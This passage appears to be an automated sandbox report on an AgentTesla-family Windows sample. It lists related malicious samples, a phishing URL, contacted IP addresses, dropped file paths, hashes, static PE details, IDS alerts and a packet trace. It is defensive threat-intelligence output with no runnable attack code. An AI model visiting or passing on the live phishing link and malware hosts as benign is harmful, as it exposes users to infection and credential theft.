3b5074b1b5d032e5620f69f9f700ff0e	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4 104.21.57.121 222.255.238.159 172.67.74.152
	pago 89909334.exe	Get hash	malicious	Unknown	Browse	140.82.113.4 104.21.57.121 222.255.238.159 172.67.74.152
	kG1Tx7fx4AwIo7C.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4 104.21.57.121 222.255.238.159 172.67.74.152
	ekstre_pdf.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4 104.21.57.121 222.255.238.159 172.67.74.152
	https://ramandan.blob.core.windows.net/ramandan/1.html#15/117-4966/926-74892-11463-	Get hash	malicious	Phisher	Browse	140.82.113.4 104.21.57.121 222.255.238.159 172.67.74.152
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4 104.21.57.121 222.255.238.159 172.67.74.152
	ORDER-240321007.exe	Get hash	malicious	GuLoader	Browse	140.82.113.4 104.21.57.121 222.255.238.159 172.67.74.152
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4 104.21.57.121 222.255.238.159 172.67.74.152
	qO7JURaOlaa6Jav.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.113.4 104.21.57.121 222.255.238.159 172.67.74.152
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	140.82.113.4 104.21.57.121 222.255.238.159 172.67.74.152

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse
	#U00d6deme Onay#U0131 Kopyas#U0131.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	r__demeOnay__Kopyas__.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	odeme_kopyasi.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	O7HM6KX2ce.exe	Get hash	malicious	AgentTesla	Browse
	CBD_USD_REFERENCE_3901828872899399391108390100110929111.exe	Get hash	malicious	AgentTesla	Browse
	passportscan.hta	Get hash	malicious	XWorm, zgRAT	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.24405.26677.exe	Get hash	malicious	AgentTesla	Browse
	Products_require_0027838.exe	Get hash	malicious	AgentTesla	Browse
	15_).scr.exe	Get hash	malicious	DarkTortilla, XWorm	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69211 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69211
Entropy (8bit):	7.995787876711886
Encrypted:	true
SSDEEP:	1536:4vHkVfDISE//aDY0WAXTF+0daIpyFQaqPZkatNjgkFOE4/JZZWnEn6:4vHKfMSeKFXdBcmnXkksE40E6
MD5:	753DF6889FD7410A2E9FE333DA83A429
SHA1:	3C425F16E8267186061DD48AC1C77C122962456E
SHA-256:	B42DC237E44CBC9A43400E7D3F9CBD406DBDEFD62BFE87328F8663897D69DF78
SHA-512:	9D56F79410AD0CF852C74C3EF9454E7AE86E80BDD6FF67773994B48CCAC71142BCF5C90635DA6A056E1406E81E64674DB9584928E867C55B77B59E2851CF6444
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....[.......,...................I..................WR. .authroot.stl..L...5..CK..<Tk...p.k:.]...k..-.o.d.}.N.F....!.....$t)K."..DE.....v..gr...}?>.<.s..<...{.t..\F.e.F...8&.<..>...t8....`dqM4.y..t8..t..3..1.`\.:+.<].F...3.~.M.B.....J....PR.+..UUUV.GY...8...._vl.....H}.s.Pq..r.<.0.lG.C..e(..oe........9..'8..m.......G8T......sR..&=.J....s.U......#...).j...x.....gq.+.N:.Wj...V.t...(J.;^..Mr~e..}.q....q....eo..O.....@.B.S.....66.\|!.(.........D!k..&.. /.....H~.....}.(..\|.S..~8..A..(.#..w.Y.....'.F...y&.8......f..49r..N...(zX.0;.....000.3c)Z.v.5N'.z...rNFw,E.NY..#ua.o.$..Y?.-.=....}d...]......x_<.W....ya.3.a..SQT.U..\|!.pyCA..-h..Y..>n......^.U.....H...EY.\.......}.-(....h..=xiV.O.W@p.=.r.i..c...c....S.x.;..GWf...=.:.....S.c/..v..3.iG<.&..%...8..=}.....+.n\?0"A.Y%<......+..O. .9..#..>.....5.2.j.1<.Z.>v..j...wr.i.:....!...;.N[.q..z9j..l.R.&,....$.V...k.j..Tc..m..D!%....".Y.#V."w.\|....L\| ..p........w.=..ck...<........{s..w..};../.=...k....YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.122510181921535
Encrypted:	false
SSDEEP:	6:kKFJTN+SkQlPlEGYRMY9z+4KlDA3RUe1HEbpo:/8kPlE99SNxAhUe1HEVo
MD5:	5478885923B7B726423013DAA16BACF2
SHA1:	D5276E1EA24DC4C35737CF63791A3909AE9806D6
SHA-256:	DF17E4DCB20013FD4E6FE71B4590831642A60044E2370AE4A255BAEBD0C4FB89
SHA-512:	AE6F9C9DF6D32B88D6EA6A1D6368A492AC7D5E4FAE419EF5D1D5BD055AAF7FB62575329710F70F56BE39156C90397E096E3764ACB153E8A8F416EF91980CFCEF
Malicious:	false
Reputation:	low
Preview:	p...... .........;...s..(....................................................... .........;.i......(...........[...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".2.c.8.3.b.1.3.b.a.f.6.9.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YZbrmyt.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1089
Entropy (8bit):	5.3331074454898735
Encrypted:	false
SSDEEP:	24:ML9E4KlKNE4oK2nMK/KDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlIHoVnM6YHKh3oPtHo6hAHKzeR
MD5:	E54FE55F93C5501D5C4737CCF0E6E48B
SHA1:	BEF9C1A7166E3E8C2C7762C42F8FCBB753B63283
SHA-256:	2434AE4C4C8436A64A4F3317638DF77C38CB7FFC226037ADE1DC6F6CD4745619
SHA-512:	5422F02595B12ACFE23AF8C69ACF43B5529C700FC3FA5ADEDDBDFF36737C22D7AE23FCD4A39869DF6D02D7D708F951142983E60ED90EADFDCE5CC40B164AD19D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051#\48ee4ec9441351bbe4d9095c96b8ea01\System.Configuration.Install.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nati

C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	42064
Entropy (8bit):	6.19564898727408
Encrypted:	false
SSDEEP:	384:qtpFVLK0MsihB9VKS7xdgl6KJ9Yl6dnPU3SERztmbqCJstdMardz/JikPZ+RPZTg:GBMs2SqdSZ6Iq8BxTfqWR8h7ukP
MD5:	5D4073B2EB6D217C19F2B22F21BF8D57
SHA1:	F0209900FBF08D004B886A0B3BA33EA2B0BF9DA8
SHA-256:	AC1A3F21FCC88F9CEE7BF51581EAFBA24CC76C924F0821DEB2AFDF1080DDF3D3
SHA-512:	9AC94880684933BA3407CDC135ABC3047543436567AF14CD9269C4ADC5A6535DB7B867D6DE0D6238A21B94E69F9890DBB5739155871A624520623A7E56872159
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: New Orders#U034fx#U034fl#U034fx#U034f..exe, Detection: malicious, Browse Filename: #U00d6deme Onay#U0131 Kopyas#U0131.exe, Detection: malicious, Browse Filename: r__demeOnay__Kopyas__.exe, Detection: malicious, Browse Filename: odeme_kopyasi.exe, Detection: malicious, Browse Filename: O7HM6KX2ce.exe, Detection: malicious, Browse Filename: CBD_USD_REFERENCE_3901828872899399391108390100110929111.exe, Detection: malicious, Browse Filename: passportscan.hta, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.TrojanX-gen.24405.26677.exe, Detection: malicious, Browse Filename: Products_require_0027838.exe, Detection: malicious, Browse Filename: 15_).scr.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...,>.]..............0..T...........r... ........@.. ....................................`.................................4r..O....................b..PB...........p............................................... ............... ..H............text....R... ...T.................. ..`.rsrc................V..............@..@.reloc...............`..............@..B................hr......H........"..\|J..........lm.......o......................................2~.....o.....r...p(....VrK..p(....s...........0..........(....(....o....o....(....o.... .....T(....o....(....o....o ...o!....4(....o....(....o....o ...o".....(....rm..ps#...o....($........(%....o&....ry..p......%.r...p.%.(.....(....('....((.......o)...('........................."..(.....{Q...-...}Q.....(+...(....(,....(+..."..(-.....(......(.....r...p.(/...o0...s....}T...*....0.. .......~S...-.s

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.298899049095669
Encrypted:	false
SSDEEP:	6144:ZECqOEmWfd+WQFHy/9026ZTyaRsCDusBqD5dooi8liSD6VJSRrD:OCsL6seqD5SjSWVAR3
MD5:	660616F326EAE2C76AAFFE8B71502DFA
SHA1:	B073DE87E00473B0395354A02C2C302468A2A29F
SHA-256:	8B2F111F5945C9017CA3390D7ED23D419200F243FE1A267DF1FDB3773FA33B40
SHA-512:	83DAECDC9BD3F75DB59DD6568F28D7C02F4D4712A87DE465FF903D74EEA6CDDFC6BC186B3CB1E90BBD3C1121AB1F2140F6E6980BC8590998D64CBD224D7A6D60
Malicious:	false
Preview:	regfD...C....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmN.n..s..............................................................................................................................................................................................................................................................................................................................................%.{.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1646592
Entropy (8bit):	4.6091979567932135
Encrypted:	false
SSDEEP:	6144:OECqOEmWfd+WQFHy/9026ZTraRsCDutBqD5dooi0USD6VJSRrD:jCsL6T1qD5S3SWVAR3
MD5:	44765D0D85E3DD482C29594EC15E050D
SHA1:	8795E72F59BD95F10AC9AFA520382CEF0E85A88F
SHA-256:	D2A71DAEAD912AF6BCE150534B12F53F5AB3F5A54481FF46636A8C88C893E7AE
SHA-512:	D23C858BCC80D413CF37909BFCAB10219B10DBC3DD779FE01D9AAA24748CAA68319FC9BAFA61061E8F4D33C33377A2B436E5D62DA44D4AD8E7328389B8298982
Malicious:	false
Preview:	regfC...C....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmN.n..s..............................................................................................................................................................................................................................................................................................................................................$.{.HvLE........C....`.......{o7...k.>...a,.....0...@...@...........@...@..........hbin.................\.Z............nk,..\.Z........ ...........h...................................<.......&...{11517B7C-E79D-4e20-961B-75A811715ADD}..`...sk......................\...l.............H.........?...................?...................?........... ... ........... ... ...................$.N..........vk..4...`...........CreatingCommand.....O.n.e.D.r.i.v.e.S.e.t.u.p...e.x.e. ./.s.i.l.e.n.t...

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2017
Entropy (8bit):	4.659840607039457
Encrypted:	false
SSDEEP:	48:zK4QsD4ql0+1AcJRy0EJP64gFljVlWo3ggxUnQK2qmBvgw1+5:zKgDEcTytNe3Wo3uQVBIe+5
MD5:	3BF802DEB390033F9A89736CBA5BFAFF
SHA1:	25A7177A92E0283B99C85538C4754A12AC8AD197
SHA-256:	5202EB464D6118AC60F72E89FBAAACF1FB8CF6A232F98F47F88D0E7B2F3AFDB3
SHA-512:	EB4F440D28ECD5834FD347F43D4828CA9FEE900FF003764DD1D18B95E0B84E414EAECF70D75236A1463366A189BC5CBA21613F79B5707BF7BDB3CEA312CCE4F7
Malicious:	false
Preview:	Microsoft (R) .NET Framework Installation utility Version 4.8.4084.0..Copyright (C) Microsoft Corporation. All rights reserved.....Usage: InstallUtil [/u \| /uninstall] [option [...]] assembly [[option [...]] assembly] [...]]....InstallUtil executes the installers in each given assembly...If the /u or /uninstall switch is specified, it uninstalls..the assemblies, otherwise it installs them. Unlike other..options, /u applies to all assemblies, regardless of where it..appears on the command line.....Installation is done in a transactioned way: If one of the..assemblies fails to install, the installations of all other..assemblies are rolled back. Uninstall is not transactioned.....Options take the form /switch=[value]. Any option that occurs..before the name of an assembly will apply to that assembly's..installation. Options are cumulative but overridable - options..specified for one assembly will apply to the next as well unless..the option is specified with a new value. The default for

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.1535231930973415
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	POs#U034fx#U034fl#U034fx#U034f..exe
File size:	99'840 bytes
MD5:	78ab3f5907770357b36dd7d3ae612125
SHA1:	abdb9131b868cf9c92e1deaca80871ae5963a0db
SHA256:	33f038a865a11f88acdd1a781e956cb14c6a4fa2af37b598a28e01f142ec19e7
SHA512:	742fe51fd156787cf1361b8a688f8bdbef3fd8625c3ef8c00254d1bdfd60caf38a8bd18457705f745f980439c7af242eb6291d8e40d77c9037f8c82da0be2d00
SSDEEP:	3072:lbq/NHg/zweohUUWFsKJn2M0l67iTXOf:hqxg/zweohU76BJ
TLSH:	6AA3AE01B64D4133EC6F0A7488B72EC4B665FF1237C26E1A25D672174E333913AA1E9E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....8............"...0.R\|............... ....@...... ...............................H....`................................

File Icon


Icon Hash:	2562ab89a7b7bfbf

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x97BE3889 [Sat Sep 3 13:52:09 2050 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x1059e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9b98	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7c52	0x7e00	bfd820998d9c13b3b15df39af7ae0a14	False	0.6181175595238095	data	6.340820972975403	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x1059e	0x10600	993dd29e060ada198164dd7177bc922b	False	0.7950113311068703	data	7.28448686674412	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xa2c4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	0.33736559139784944
RT_ICON	0xa5ac	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	0.5033783783783784
RT_ICON	0xa6d4	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.5562366737739872
RT_ICON	0xb57c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	0.6890794223826715
RT_ICON	0xbe24	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	0.4833815028901734
RT_ICON	0xc38c	0xa1be	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9944210983915375
RT_ICON	0x1654c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.3877593360995851
RT_ICON	0x18af4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.46318011257035646
RT_ICON	0x19b9c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.5877659574468085
RT_GROUP_ICON	0x1a004	0x84	data	0.6742424242424242
RT_VERSION	0x1a088	0x32c	data	0.4224137931034483
RT_MANIFEST	0x1a3b4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/11/24-16:42:24.425354	UDP	2856462	ETPRO TROJAN DNS Query to Hello2Malware Domain	53207	53	192.168.2.11	1.1.1.1
03/11/24-16:42:24.425354	UDP	2856398	ETPRO TROJAN DNS Query to Hello2Malware Domain	53207	53	192.168.2.11	1.1.1.1
03/11/24-16:42:24.659530	TCP	2856401	ETPRO TROJAN Observed Hello2Malware Domain	54060	443	192.168.2.11	104.21.57.121
03/11/24-16:42:24.659530	TCP	2856465	ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI	54060	443	192.168.2.11	104.21.57.121

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 11, 2024 16:42:15.352757931 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:15.352802038 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:15.352863073 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:15.383462906 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:15.383487940 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:15.841941118 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:15.842107058 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:15.845679998 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:15.845690012 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:15.846051931 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:15.891663074 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:15.984112024 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.028234959 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.427196026 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.427407026 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.427536964 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.427550077 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.427582026 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.427627087 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.427668095 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.427737951 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.427741051 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.427767038 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.427834988 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.427845955 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.427958012 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.428015947 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.428025007 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.469863892 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.642920971 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.643177032 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.643302917 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.643306017 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.643337965 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.643387079 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.643444061 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.643600941 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.643654108 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.643663883 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.643784046 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.643841982 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.643852949 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.643953085 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.644017935 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.644026041 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.644129038 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.644186020 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.644192934 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.644289017 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.644345999 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.644361019 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.644452095 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.644522905 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.644529104 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.688534975 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.688551903 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.735455990 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.858355045 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.858591080 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.858683109 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.858774900 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.858870029 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.858887911 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.858905077 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.858975887 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.858984947 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.859101057 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.859148026 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.859157085 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.859258890 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.859404087 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.859411955 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.859767914 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.859829903 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.859837055 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.859961987 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860018015 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.860025883 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860127926 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860177994 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.860186100 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860302925 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860414982 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860434055 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.860460997 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860619068 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860665083 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.860682011 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860722065 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.860727072 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860848904 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860937119 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.860981941 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.860999107 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.861090899 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.861138105 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.861145973 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.861186981 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.861192942 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.861313105 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.861370087 CET	49709	443	192.168.2.11	140.82.113.4
